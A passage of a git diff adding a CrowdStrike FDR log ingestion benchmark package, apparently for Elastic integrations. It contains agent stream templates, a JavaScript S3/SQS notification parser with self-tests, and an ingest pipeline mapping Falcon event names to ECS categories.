+{{#if endpoint}} +endpoint: {{endpoint}} +{{/if}} +{{#if default_region}} +default_region: {{default_region}} +{{/if}} +{{#if access_key_id}} +access_key_id: {{access_key_id}} +{{/if}} +{{#if secret_access_key}} +secret_access_key: {{secret_access_key}} +{{/if}} +{{#if session_token}} +session_token: {{session_token}} +{{/if}} +{{#if role_arn}} +role_arn: {{role_arn}} +{{/if}} +{{#if fips_enabled}} +fips_enabled: {{fips_enabled}} +{{/if}} +{{#if proxy_url }} +proxy_url: {{proxy_url}} +{{/if}} +sqs.notification_parsing_script.source: | + function parse(n) { + var m = JSON.parse(n); + var evts = []; + var files = m.files; + var bucket = m.bucket; + var records = m.Records; + var message = m.Message; + var topic_arn = m.TopicArn; + // Checks if not FDR queue + if (!Array.isArray(files) || (files.length == 0) || bucket == null || bucket == "") { + // Checks if event notification is S3 -> SQS or S3 -> SNS -> SQS. + if ((records != null && records.length != 0) || (message != null && topic_arn != null)) { + // When notification is from S3 -> SNS -> SQS, records need to be extracted from message. + if (records == null || records.length == 0) { + var p = JSON.parse(message); + records = p.Records; + } + if (records != null && records.length != 0) { + records.forEach(function(f){ + if (f.s3 && f.s3.bucket && f.s3.bucket.name && f.s3.object && f.s3.object.key) { + var evt = new S3EventV2(); + evt.SetS3BucketName(f.s3.bucket.name); + evt.SetS3ObjectKey(f.s3.object.key); + if (f.s3.bucket.arn) { + evt.SetS3BucketARN(f.s3.bucket.arn); + } + if (f.awsRegion) { + evt.SetAWSRegion(f.awsRegion); + } + if (f.eventName) { + evt.SetEventName(f.eventName); + } + if (f.eventSource) { + evt.SetEventSource(f.eventSource); + } + evts.push(evt); + } + }); + } + } + // Checks if event notification is S3 -> EventBridge -> SQS + else if (m.detail != null && m.detail.bucket != null && m.detail.object != null && m.detail.bucket.name != null && m.detail.object.key != null) { + var evt = new S3EventV2(); + evt.SetS3BucketName(m.detail.bucket.name); + evt.SetS3ObjectKey(m.detail.object.key); + if (Array.isArray(m.resources) && m.resources.length > 0) { + evt.SetS3BucketARN(m.resources[0]); + } + if (m.source != null && m.source == "aws.s3") { + evt.SetEventSource("aws:s3"); + } + if (m['detail-type'] == "Object Created") { + evt.SetEventName("ObjectCreated:Put"); + } + evts.push(evt); + } + } else { + // FDR queue + files.sort(function(a, b) { + var isMetadata = function(a) { + return a.path && ((a.path.indexOf("aidmaster") !== -1) || (a.path.indexOf("userinfo") !== -1)); + }; + var cmp = function(a, b) { + if (a < b) { + return -1; + } + if (a > b) { + return 1; + } + return 0; + }; + if (isMetadata(a) === isMetadata(b)) { + return cmp(a.path, b.path); + } + if (isMetadata(a)) { + return -1; + } + return 1; + }); + files.forEach(function(f){ + var evt = new S3EventV2(); + evt.SetS3BucketName(bucket); + evt.SetS3ObjectKey(f.path); + evts.push(evt); + }); + } + return evts; + } + function test() { + // Test FDR queue + var fdrEvents = parse("{\"bucket\":\"fdrBucket\",\"files\":[{\"path\":\"prefix/aidmaster\",\"size\":89118480,\"checksum\":\"d0f566f37295e46f28c75f71ddce9422\"},{\"path\":\"prefix/data\"}]}"); + if (fdrEvents.length !== 2) { + throw "expecting two events"; + } + if (fdrEvents[0].S3.Bucket.Name !== "fdrBucket") { + throw "expected bucket === fdrBucket"; + } + if (fdrEvents[0].S3.Object.Key !== "prefix/aidmaster") { + throw "expected object key === prefix/aidmaster"; + } + if (fdrEvents[1].S3.Object.Key !== "prefix/data") { + throw "expected object key === prefix/data"; + } + // Test S3 -> SQS + var sqsEvents = parse("{\"Records\":[{\"eventVersion\":\"2.1\",\"eventSource\":\"aws:s3\",\"awsRegion\":\"us-west-2\",\"eventTime\":\"2025-05-27T11:38:32.511Z\",\"eventName\":\"ObjectCreated:Put\",\"userIdentity\":{\"principalId\":\"AWS:DKASHW31673218\"},\"requestParameters\":{\"sourceIPAddress\":\"81.2.69.142\"},\"responseElements\":{\"x-amz-request-id\":\"adqw312EASDS\",\"x-amz-id-2\":\"SD312ESDAD/ASDASDQX1E21XE/6aeP0eHq4aYCvF\"},\"s3\":{\"s3SchemaVersion\":\"1.0\",\"configurationId\":\"test-sqs-cs-s3-evt-notif-sqs\",\"bucket\":{\"name\":\"test-sqs-cs-s3\",\"ownerIdentity\":{\"principalId\":\"321DSAVDW2E1\"},\"arn\":\"arn:aws:s3:::test-sqs-cs-s3\"},\"object\":{\"key\":\"fdr-sample.log\",\"size\":114782,\"eTag\":\"41cdbd1843a4c49ef0255e2ccd48cb9d\",\"sequencer\":\"006835A4387B4406AF\"}}}]}"); + if (sqsEvents.length !== 1) { + throw "expecting one events"; + } + if (sqsEvents[0].S3.Bucket.Name !== "test-sqs-cs-s3") { + throw "expected bucket === test-sqs-cs-s3"; + } + if (sqsEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-sqs-cs-s3") { + throw "expected Bucket ARN === arn:aws:s3:::test-sqs-cs-s3"; + } + if (sqsEvents[0].S3.Object.Key !== "fdr-sample.log") { + throw "expected object key === fdr-sample.log"; + } + // Test S3 -> SNS -> SQS + var snsEvents = parse("{\"Type\": \"Notification\",\"MessageId\": \"1066e639-8697-5211-9bbe-86a369b14af5\",\"TopicArn\": \"arn:aws:sns:us-east-2:11111111111:test-crowds-sns\",\"Subject\": \"Amazon S3 Notification\",\"Message\": \"{\\\"Records\\\":[{\\\"eventVersion\\\":\\\"2.1\\\",\\\"eventSource\\\":\\\"aws:s3\\\",\\\"awsRegion\\\":\\\"us-east-2\\\",\\\"eventTime\\\":\\\"2025-05-11T18:31:01.609Z\\\",\\\"eventName\\\":\\\"ObjectCreated:Put\\\",\\\"userIdentity\\\":{\\\"principalId\\\":\\\"AWS:PRINCIPALID\\\"},\\\"requestParameters\\\":{\\\"sourceIPAddress\\\":\\\"81.2.69.192\\\"},\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"dsaddwqdqd\\\",\\\"x-amz-id-2\\\":\\\"w1esdasdadpY=\\\"},\\\"s3\\\":{\\\"s3SchemaVersion\\\":\\\"1.0\\\",\\\"configurationId\\\":\\\"test-crowds-s3-notif\\\",\\\"bucket\\\":{\\\"name\\\":\\\"test-crowds-s3-buck\\\",\\\"ownerIdentity\\\":{\\\"principalId\\\":\\\"asdascedqwdq\\\"},\\\"arn\\\":\\\"arn:aws:s3:::test-crowds-s3-buck\\\"},\\\"object\\\":{\\\"key\\\":\\\"fdr-0_userinfo.log\\\",\\\"size\\\":489,\\\"eTag\\\":\\\"349c96ed5531edce2233ad417123736d\\\",\\\"sequencer\\\":\\\"006820ECE595B767EC\\\"}}}]}\",\"Timestamp\": \"2025-05-11T18:31:02.037Z\",\"SignatureVersion\": \"1\",\"Signature\": \"W131adsfwefQSF223SAsdddsaas+dsdadfadqweweweaxaDSCQQW==\",\"SigningCertURL\": \"https://sns.us-east-2.amazonaws.com/SimpleNotificationService-9c6465fa7f48f5cacd23014631ec1136.pem\",\"UnsubscribeURL\": \"https://sns.us-east-2.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:11111111111:test-crowds-sns:c2e6ff87-e009-4694-866a-5ceb79691a01\"}"); + if (snsEvents.length !== 1) { + throw "expecting one events"; + } + if (snsEvents[0].S3.Bucket.Name !== "test-crowds-s3-buck") { + throw "expected bucket === test-crowds-s3-buck"; + } + if (snsEvents[0].AWSRegion !== "us-east-2") { + throw "expected AWS region === us-east-2"; + } + // Test S3 -> EventBridge -> SQS + var ebEvents = parse("{\"version\":\"0\",\"id\":\"78fee647-ef01-0e61-507f-d19baef343f5\",\"detail-type\":\"Object Created\",\"source\":\"aws.s3\",\"account\":\"11111111111\",\"time\":\"2025-05-11T19:26:39Z\",\"region\":\"ap-south-1\",\"resources\":[\"arn:aws:s3:::test-eb-crowds-s3-buck\"],\"detail\":{\"version\":\"0\",\"bucket\":{\"name\":\"test-eb-crowds-s3-buck\"},\"object\":{\"key\":\"fdr-0_aidmaster.log\",\"size\":4414,\"etag\":\"a06a88462e6950f0be3bb83230047e87\",\"sequencer\":\"006820F9EF8D8284D4\"},\"request-id\":\"321987SDASD1W9\",\"requester\":\"11111111111\",\"source-ip-address\":\"89.160.20.128\",\"reason\":\"PutObject\"}}"); + if (ebEvents.length !== 1) { + throw "expecting one events"; + } + if (ebEvents[0].S3.Bucket.Name !== "test-eb-crowds-s3-buck") { + throw "expected bucket === test-eb-crowds-s3-buck"; + } + if (ebEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-eb-crowds-s3-buck") { + throw "expected Bucket ARN === arn:aws:s3:::test-eb-crowds-s3-buck"; + } + if (ebEvents[0].S3.Object.Key !== "fdr-0_aidmaster.log") { + throw "expected object key === fdr-0_aidmaster.log"; + } + } +{{#if tags.length}} +tags: +{{else}} +{{#if preserve_original_event}} +tags: +{{/if}} +{{/if}} +{{#if preserve_original_event}} + - preserve_original_event +{{/if}} +{{#each tags as |tag|}} + - {{tag}} +{{/each}} +{{#contains "forwarded" tags}} +publisher_pipeline.disable_host: true +{{/contains}} +fields_under_root: true +fields: + _conf: + long_fields: {{long_fields}} + long_fields_max_length: {{long_fields_max_length}} + enable_deduplication: {{enable_deduplication}} + prune_fields: {{prune_fields}} +processors: +- add_locale: ~ +{{#if enrich_metadata}} +- decode_json_fields: + fields: message + target: crowdstrike +- if: + contains: + log.file.path: aidmaster + then: + - cache: + backend: + capacity: {{metadata_cache_capacity}} + file: + id: aidmaster + write_interval: {{metadata_cache_write_interval}} + put: + ttl: {{metadata_ttl}} + key_field: crowdstrike.aid + value_field: crowdstrike + ignore_missing: true +{{#unless keep_metadata}} + - drop_event: + when: + contains: + log.file.path: aidmaster +{{/unless}} + else: + - if: + contains: + log.file.path: userinfo + then: + - cache: + backend: + capacity: {{metadata_cache_capacity}} + file: + id: userinfo + write_interval: {{metadata_cache_write_interval}} + put: + ttl: {{metadata_ttl}} + key_field: crowdstrike.UserSid_readable + value_field: crowdstrike + ignore_missing: true +{{#unless keep_metadata}} + - drop_event: + when: + contains: + log.file.path: userinfo +{{/unless}} + else: + - cache: + backend: + file: + id: aidmaster + get: + key_field: crowdstrike.aid + target_field: metadata.host + ignore_missing: true + - cache: + backend: + file: + id: userinfo + get: + key_field: crowdstrike.UserSid + target_field: metadata.user + ignore_missing: true +- drop_fields: + fields: + - crowdstrike +{{/if}} +{{#if processors}} +{{processors}} +{{/if}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs new file mode 100644 index 0000000000..bd86e4b01f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs @@ -0,0 +1,104 @@ +paths: +{{#each paths as |path|}} + - {{path}} +{{/each}} +scan: + sort: filename + order: asc +exclude_files: ['\.gz$'] +{{#if tags.length}} +tags: +{{else}} +{{#if preserve_original_event}} +tags: +{{/if}} +{{/if}} +{{#if preserve_original_event}} + - preserve_original_event +{{/if}} +{{#each tags as |tag|}} + - {{tag}} +{{/each}} +{{#contains "forwarded" tags}} +publisher_pipeline.disable_host: true +{{/contains}} +fields_under_root: true +fields: + _conf: + long_fields: {{long_fields}} + long_fields_max_length: {{long_fields_max_length}} + enable_deduplication: {{enable_deduplication}} + prune_fields: {{prune_fields}} +processors: +- add_locale: ~ +{{#if enrich_metadata}} +- decode_json_fields: + fields: message + target: crowdstrike +- if: + contains: + log.file.path: aidmaster + then: + - cache: + backend: + capacity: {{metadata_cache_capacity}} + file: + id: aidmaster + write_interval: {{metadata_cache_write_interval}} + put: + ttl: {{metadata_ttl}} + key_field: crowdstrike.aid + value_field: crowdstrike + ignore_missing: true +{{#unless keep_metadata}} + - drop_event: + when: + contains: + log.file.path: aidmaster +{{/unless}} + else: + - if: + contains: + log.file.path: userinfo + then: + - cache: + backend: + capacity: {{metadata_cache_capacity}} + file: + id: userinfo + write_interval: {{metadata_cache_write_interval}} + put: + ttl: {{metadata_ttl}} + key_field: crowdstrike.UserSid_readable + value_field: crowdstrike + ignore_missing: true +{{#unless keep_metadata}} + - drop_event: + when: + contains: + log.file.path: userinfo +{{/unless}} + else: + - cache: + backend: + file: + id: aidmaster + get: + key_field: crowdstrike.aid + target_field: metadata.host + ignore_missing: true + - cache: + backend: + file: + id: userinfo + get: + key_field: crowdstrike.UserSid + target_field: metadata.user + ignore_missing: true +- drop_fields: + fields: + - crowdstrike +{{/if}} +{{#if processors}} +{{processors}} +{{/if}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml new file mode 100644 index 0000000000..864a40392f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml @@ -0,0 +1,1875 @@ +--- +description: Pipeline for categorizing Crowdstrike events +processors: + - set: + tag: set_event_category_604aa117 + if: ctx.crowdstrike?.event_simpleName != null && ctx.crowdstrike.event_simpleName.endsWith('Written') + field: event.category + value: + - file + - script: + description: Categorize events. + tag: categorize_events_6b04e496 + params: + AcUninstallConfirmation: + category: + - package + kind: state + outcome: success + type: + - deletion + AcUnloadConfirmation: + category: + - package + kind: state + outcome: success + type: + - deletion + ActiveDirectoryAuthentication: + category: + - authentication + kind: event + outcome: success + type: + - start + ActiveDirectoryAuthenticationFailure: + category: + - authentication + kind: event + outcome: failure + type: + - start + ActiveDirectoryIncomingDceRpcEpmRequest: + category: + - api + kind: event + outcome: unknown + type: + - start + ActiveDirectoryIncomingDceRpcRequest: + category: + - api + kind: event + outcome: unknown + type: + - start + ActiveDirectoryIncomingLdapSearchRequest: + category: + - database + kind: event + outcome: unknown + type: + - access + ActiveDirectoryIncomingPsExecExecution2: + category: + - process + kind: event + outcome: success + type: + - start + ActiveDirectoryInteractiveDomainLogon: + category: + - authentication + kind: event + outcome: success + type: + - start + ActiveDirectoryServiceAccessRequest: + category: + - database + kind: event + outcome: success + type: + - access + ActiveDirectoryServiceAccessRequestFailure: + category: + - database + kind: event + outcome: failure + type: + - access + AgentConnect: + category: + - network + - session + kind: event + outcome: success + type: + - connection + - info + AgentOnline: + category: + - configuration + - package + - host + kind: state + outcome: success + type: + - change + - installation + - start + AmsiRegistrationStatus: + category: + - host + kind: state + outcome: success + type: + - info + AsepFileChange: + category: + - file + kind: event + outcome: success + type: + - creation + - change + AsepKeyUpdate: + category: + - registry + kind: event + outcome: success + type: + - change + AsepValueUpdate: + category: + - registry + kind: event + outcome: success + type: + - change + AssociateIndicator: + category: + - threat + kind: event + outcome: unknown + type: + - indicator + AssociateTreeIdWithRoot: + category: + - malware + kind: alert + outcome: success + type: + - info + BITSJobCreated: + category: + - network + - file + kind: event + outcome: success + type: + - connection + - creation + BZip2FileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + BehaviorWhitelisted: + category: + - configuration + kind: event + outcome: success + type: + - change + BrowserInjectedThread: + category: + - process + kind: event + outcome: success + type: + - access + - change + ClassifiedModuleLoad: + category: + - library + kind: event + type: + - start + CloudAssociateTreeIdWithRoot: + category: + - malware + kind: alert + outcome: success + type: + - deletion + CommandHistory: + category: + - process + kind: event + outcome: success + type: + - end + - info + ConfigStateUpdate: + category: + - configuration + kind: event + outcome: success + type: + - change + CrashNotification: + category: + - host + kind: event + outcome: failure + type: + - info + CreateProcessArgs: + category: + - process + kind: state + outcome: success + type: + - start + CreateService: + category: + - host + kind: event + outcome: success + type: + - change + CreateThreadNoStartImage: + category: + - process + kind: event + outcome: success + type: + - start + CreateThreadReflectiveDll: + category: + - process + kind: event + outcome: success + type: + - change + CriticalEnvironmentVariableChanged: + category: + - configuration + - host + kind: event + outcome: success + type: + - change + CriticalFileAccessed: + category: + - file + kind: alert + outcome: success + type: + - access + CriticalFileModified: + category: + - file + kind: alert + outcome: success + type: + - change + CurrentSystemTags: + category: + - host + kind: state + outcome: success + type: + - info + CustomIOABasicProcessDetectionInfoEvent: + category: + - malware + kind: alert + outcome: unknown + type: + - info + DCSyncAttempted: + category: + - configuration + - iam + kind: event + outcome: unknown + type: + - access + DcOffline: + category: + - iam + kind: event + outcome: success + type: + - info + DcOnline: + category: + - iam + kind: event + outcome: success + type: + - info + DcStatus: + category: + - iam + kind: state + outcome: success + type: + - info + DetectAnalysis: + category: + - malware + kind: alert + outcome: success + type: + - info + DetectionExcluded: + category: + - configuration + kind: event + outcome: success + type: + - change + - info + DirectoryCreate: + category: + - file + kind: event + outcome: success + type: + - creation + DllInjection: + category: + - process + kind: event + outcome: success + type: + - change + DmpFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + DnsRequest: + category: + - network + kind: event + outcome: success + type: + - protocol + DocumentProgramInjectedThread: + category: + - process + kind: event + outcome: success + type: + - access + - change + DriverLoad: + category: + - driver + kind: event + outcome: success + type: + - start + DwgFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + EarlyExploitPivotDetect: + category: + - malware + kind: event + outcome: unknown + type: + - info + EndOfProcess: + category: + - process + kind: event + outcome: success + type: + - end + ErrorEvent: + category: + - package + kind: event + outcome: failure + type: + - info + EtwErrorEvent: + category: + - package + - host + kind: event + outcome: failure + type: + - info + ExecutableDeleted: + category: + - file + kind: event + outcome: success + type: + - deletion + FalconHostRegTamperingInfo: + category: + - registry + kind: alert + outcome: unknown + type: + - change + FalconProcessHandleOpDetectInfo: + category: + - malware + - process + kind: alert + type: + - info + - access + FalconServiceStatus: + category: + - package + kind: state + outcome: unknown + type: + - info + FileCreateInfo: + category: + - file + kind: event + outcome: success + type: + - creation + FileDeleteInfo: + category: + - file + kind: event + outcome: success + type: + - deletion + FileDetectInfo: + category: + - file + kind: alert + outcome: unknown + type: + - creation + FileInfo: + category: + - file + kind: event + outcome: unknown + type: + - info + FileOpenInfo: + category: + - file + kind: event + outcome: success + type: + - access + FileRenameInfo: + category: + - file + kind: event + outcome: success + type: + - change + FileSystemOperationBlocked: + category: + - file + kind: event + outcome: failure + type: + - change + - deletion + FileSystemOperationDetectInfo: + category: + - file + kind: event + outcome: unknown + type: + - change + - deletion + FileTimestampsModified: + category: + - file + kind: event + outcome: success + type: + - change + FileWrittenWithEntropyHigh: + category: + - file + kind: event + outcome: success + type: + - creation + FirewallChangeOption: + category: + - configuration + - host + kind: event + outcome: success + type: + - change + FirewallDeleteRule: + category: + - configuration + kind: event + outcome: success + type: + - change + FirewallDeleteRuleIP4: + category: + - configuration + kind: event + outcome: success + type: + - change + FirewallDeleteRuleIP6: + category: + - configuration + kind: event + outcome: success + type: + - change + FirewallDisabled: + category: + - configuration + - host + kind: event + outcome: success + type: + - change + FirewallEnabled: + category: + - configuration + - host + kind: event + outcome: success + type: + - change + FirewallSetRule: + category: + - configuration + kind: event + outcome: success + type: + - change + FirewallSetRuleIP4: + category: + - configuration + kind: event + outcome: success + type: + - change + FirewallSetRuleIP6: + category: + - configuration + kind: event + outcome: success + type: + - change + FirmwareAnalysisErrorEvent: + category: + - host + kind: state + outcome: failure + type: + - info + FirmwareAnalysisHardwareData: + category: + - host + kind: state + outcome: success + type: + - info + FirmwareAnalysisStatus: + category: + - host + kind: state + outcome: success + type: + - info + FlashThreadCreateProcess: + category: + - process + kind: event + outcome: success + type: + - start + FsPostOpenSnapshotFile: + category: + - file + kind: event + outcome: success + type: + - access + FsVolumeMounted: + category: + - host + kind: event + outcome: success + type: + - change + FsVolumeUnmounted: + category: + - host + kind: event + outcome: success + type: + - change + HostInfo: + category: + - host + kind: event + outcome: success + type: + - info + HostedServiceStarted: + category: + - process + kind: event + outcome: success + type: + - start + HostedServiceStopped: + category: + - process + kind: event + outcome: success + type: + - end + HostnameChanged: + category: + - host + kind: event + outcome: success + type: + - change + HttpRequestDetect: + category: + - network + - session + kind: event + outcome: success + type: + - connection + - start + HttpVisibilityStatus: + category: + - session + kind: state + outcome: unknown + type: + - info + IOServiceRegister: + category: + - package + kind: event + outcome: success + type: + - change + ImageHash: + category: + - library + kind: event + outcome: success + type: + - start + InjectedThread: + category: + - process + kind: event + outcome: success + type: + - change + InjectedThreadFromUnsignedModule: + category: + - process + kind: alert + outcome: success + type: + - change + InstallBundleDownloadComplete: + category: + - file + kind: event + outcome: success + type: + - creation + InstallServiceDownloadComplete: + category: + - file + kind: event + outcome: success + type: + - creation + InstalledApplication: + category: + - package + kind: event + outcome: success + type: + - installation + InstalledBrowserExtension: + category: + - package + kind: event + type: + - installation + InstalledUpdates: + category: + - host + - package + kind: event + outcome: success + type: + - change + - installation + InstanceMetadata: + category: + - host + kind: state + outcome: unknown + type: + - info + IoSessionConnected: + category: + - session + kind: event + outcome: success + type: + - start + IoSessionLoggedOn: + category: + - session + kind: event + outcome: success + type: + - end + JarFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + JavaClassFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + JavaInjectedThread: + category: + - process + kind: event + outcome: success + type: + - change + KernelModeLoadImage: + category: + - driver + kind: event + outcome: success + type: + - start + KernelServiceStarted: + category: + - process + kind: event + type: + - start + KextLoad: + category: + - driver + kind: event + outcome: success + type: + - start + KextUnload: + category: + - driver + kind: event + outcome: success + type: + - end + LFODownloadConfirmation: + category: + - file + kind: event + outcome: success + type: + - creation + LfoUploadDataComplete: + category: + - file + kind: event + outcome: success + type: + - change + LfoUploadDataFailed: + category: + - file + kind: event + outcome: failure + type: + - change + LfoUploadDataUnneeded: + category: + - file + kind: event + outcome: failure + type: + - change + LocalIpAddressIP4: + category: + - configuration + - host + kind: state + outcome: success + type: + - change + LocalIpAddressIP6: + category: + - configuration + - host + kind: state + outcome: success + type: + - change + LocalIpAddressRemovedIP4: + category: + - configuration + - host + kind: state + outcome: success + type: + - change + LocalIpAddressRemovedIP6: + category: + - configuration + - host + kind: state + outcome: success + type: + - change + LsassHandleFromUnsignedModule: + category: + - process + kind: alert + outcome: unknown + type: + - change + MachOFileWritten: + category: + - file + kind: event + outcome: success + type: + - change + ManifestDownloadComplete: + category: + - configuration + - file + kind: event + outcome: success + type: + - change + - creation + ModifyServiceBinary: + category: + - file + kind: event + outcome: unknown + type: + - change + ModuleBlockedEvent: + category: + - process + - malware + kind: alert + outcome: success + type: + - info + - denied + ModuleBlockedEventWithPatternId: + category: + - process + - malware + kind: event + outcome: unknown + type: + - info + ModuleDetectInfo: + category: + - process + - malware + kind: event + outcome: unknown + type: + - info + MountedVolume: + category: + - file + kind: event + outcome: success + type: + - info + NeighborListIP4: + category: + - host + - network + kind: state + outcome: unknown + type: + - info + NeighborListIP6: + category: + - host + - network + kind: state + outcome: unknown + type: + - info + NetShareAdd: + category: + - host + kind: event + outcome: success + type: + - change + NetShareDelete: + category: + - host + kind: event + outcome: success + type: + - change + NetShareSecurityModify: + category: + - configuration + kind: event + outcome: success + type: + - change + NetworkCloseIP4: + category: + - network + kind: event + outcome: unknown + type: + - end + - connection + NetworkCloseIP6: + category: + - network + kind: event + outcome: unknown + type: + - end + - connection + NetworkConnectIP4: + category: + - network + kind: event + outcome: unknown + type: + - start + - connection + NetworkConnectIP6: + category: + - network + kind: event + outcome: unknown + type: + - start + - connection + NetworkListenIP4: + category: + - network + kind: event + outcome: success + type: + - start + NetworkListenIP6: + category: + - network + kind: event + outcome: success + type: + - start + NetworkReceiveAcceptIP4: + category: + - network + kind: event + outcome: unknown + type: + - allowed + - access + - connection + NetworkReceiveAcceptIP6: + category: + - network + kind: event + outcome: unknown + type: + - allowed + - access + - connection + NewExecutableRenamed: + category: + - file + kind: event + outcome: success + type: + - change + NewExecutableWritten: + category: + - file + kind: event + outcome: success + type: + - creation + NewScriptWritten: + category: + - file + kind: event + outcome: success + type: + - creation + OciContainerTelemetry: + category: + - host + kind: state + outcome: unknown + type: + - info + OleFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + OoxmlFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + OsVersionInfo: + category: + - host + kind: event + outcome: success + type: + - info + PackedExecutableWritten: + category: + - file + kind: event + outcome: success + type: + - creation + PdfFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + PeFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + PeVersionInfo: + category: + - file + kind: event + outcome: success + type: + - info + PrivilegedProcessHandleFromUnsignedModule: + category: + - process + kind: alert + outcome: success + type: + - access + ProcessBlocked: + category: + - process + kind: alert + outcome: failure + type: + - access + ProcessExecOnPackedExecutable: + category: + - process + - file + kind: alert + outcome: success + type: + - access + ProcessExecOnSMBFile: + category: + - process + - file + - network + kind: alert + outcome: success + type: + - access + ProcessHandleOpDetectInfo: + category: + - process + - malware + kind: alert + outcome: success + type: + - info + ProcessInjection: + category: + - process + kind: event + outcome: success + type: + - change + ProcessRollup2: + category: + - process + kind: event + outcome: success + type: + - start + ProcessRollup2Stats: + category: + - process + kind: state + outcome: unknown + type: + - info + ProcessSelfDeleted: + category: + - process + kind: event + outcome: success + type: + - end + PromiscuousBindIP4: + category: + - host + kind: state + outcome: success + type: + - change + PtyCreated: + category: + - file + kind: event + outcome: success + type: + - creation + QuarantineActionResult: + category: + - file + kind: alert + outcome: unknown + type: + - info + QuarantinedFile: + category: + - file + kind: alert + outcome: unknown + type: + - change + QuarantinedFileState: + category: + - file + kind: alert + outcome: unknown + type: + - info + QueueApcEtw: + category: + - file + kind: alert + outcome: success + type: + - creation + RansomwareCreateFile: + category: + - file + kind: event + outcome: success + type: + - creation + RansomwareFileAccessPattern: + category: + - file + kind: alert + outcome: success + type: + - access + RansomwareOpenFile: + category: + - file + kind: event + outcome: success + type: + - access + RarFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + RawBindIP4: + category: + - network + kind: event + outcome: success + type: + - start + - connection + RawBindIP6: + category: + - network + kind: event + outcome: success + type: + - start + - connection + ReflectiveDllOpenProcess: + category: + - process + kind: alert + outcome: success + type: + - access + ReflectiveDotnetModuleLoad: + category: + - library + kind: event + type: + - start + RegCrowdstrikeKeyUpdate: + category: + - registry + kind: event + outcome: success + type: + - change + RegCrowdstrikeValueUpdate: + category: + - registry + kind: event + outcome: success + type: + - change + RegGenericValueUpdate: + category: + - registry + kind: event + outcome: success + type: + - change + RegSystemConfigValueUpdate: + category: + - registry + - host + - configuration + kind: event + outcome: success + type: + - change + RegisterRawInputDevicesEtw: + category: + - host + - configuration + kind: event + outcome: success + type: + - change + RegistryOperationDetectInfo: + category: + - registry + kind: alert + outcome: success + type: + - info + RemoteBruteForceDetectInfo: + category: + - malware + - authentication + kind: alert + outcome: success + type: + - info + RemovableDiskModuleLoadAttempt: + category: + - configuration + - host + kind: event + outcome: success + type: + - change + RemovableMediaVolumeMounted: + category: + - configuration + - host + kind: event + outcome: success + type: + - change + RtfFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + SAMHashDumpFromUnsignedModule: + category: + - registry + - file + kind: alert + outcome: success + type: + - access + - creation + ScheduledTaskDeleted: + category: + - configuration + kind: event + outcome: success + type: + - deletion + ScheduledTaskModified: + category: + - configuration + kind: event + outcome: success + type: + - change + ScheduledTaskRegistered: + category: + - configuration + kind: event + outcome: success + type: + - creation + ScreenshotTakenEtw: + category: + - process + kind: event + outcome: success + type: + - access + ScriptControlBlocked: + category: + - malware + - file + kind: alert + outcome: success + type: + - info + ScriptControlDetectInfo: + category: + - malware + - file + kind: alert + outcome: success + type: + - info + ScriptControlErrorEvent: + category: + - malware + - file + kind: alert + outcome: failure + type: + - info + ScriptControlScanInfo: + category: + - malware + - file + kind: state + outcome: success + type: + - info + ScriptControlScanTelemetry: + category: + - malware + - file + kind: state + outcome: success + type: + - info + SensitiveWmiQuery: + category: + - process + kind: event + outcome: success + type: + - info + SensorAntiTamperState: + category: + - configuration + kind: state + type: + - info + SensorHeartbeat: + category: + - package + kind: event + outcome: success + type: + - info + SensorSettingsUpdate: + category: + - configuration + kind: event + type: + - change + ServiceStarted: + category: + - process + kind: event + outcome: success + type: + - start + ServiceStopped: + category: + - process + kind: event + outcome: success + type: + - end + ServicesStatusInfo: + category: + - configuration + kind: state + type: + - info + SetWinEventHookEtw: + category: + - host + - configuration + kind: event + outcome: success + type: + - change + SevenZipFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + SignInfoError: + category: + - file + kind: state + outcome: failure + type: + - info + SignInfoWithCertAndContext: + category: + - file + kind: state + outcome: unknown + type: + - info + SignInfoWithContext: + category: + - file + kind: state + outcome: unknown + type: + - info + SmbClientNamedPipeConnectEtw: + category: + - network + kind: event + outcome: success + type: + - connection + SmbClientShareClosedEtw: + category: + - network + kind: event + outcome: success + type: + - connection + - end + SmbClientShareOpenedEtw: + category: + - network + kind: event + outcome: success + type: + - connection + - start + SmbServerShareOpenedEtw: + category: + - network + kind: event + outcome: success + type: + - connection + - start + SmbServerV1AuditEtw: + category: + - network + kind: state + outcome: unknown + type: + - connection + SnapshotVolumeMounted: + category: + - host + - configuration + kind: event + outcome: success + type: + - change + SudoCommandAttempt: + category: + - authentication + kind: event + outcome: unknown + type: + - start + SuspiciousCreateSymbolicLink: + category: + - file + kind: alert + outcome: success + type: + - creation + - info + SuspiciousDnsRequest: + category: + - network + kind: alert + outcome: success + type: + - start + - protocol + SuspiciousEseFileWritten: + category: + - malware + - file + kind: alert + outcome: success + type: + - creation + - info + SuspiciousPeFileWritten: + category: + - malware + - file + kind: alert + outcome: success + type: + - creation + - info + SuspiciousPrivilegedProcessHandle: + category: + - process + kind: event + type: + - info + SuspiciousRegAsepUpdate: + category: + - malware + - registry + - configuration + kind: alert + outcome: success + type: + - change + - info + SuspiciousUserRemoteAPCAttempt: + category: + - malware + - process + kind: alert + outcome: success + type: + - info + 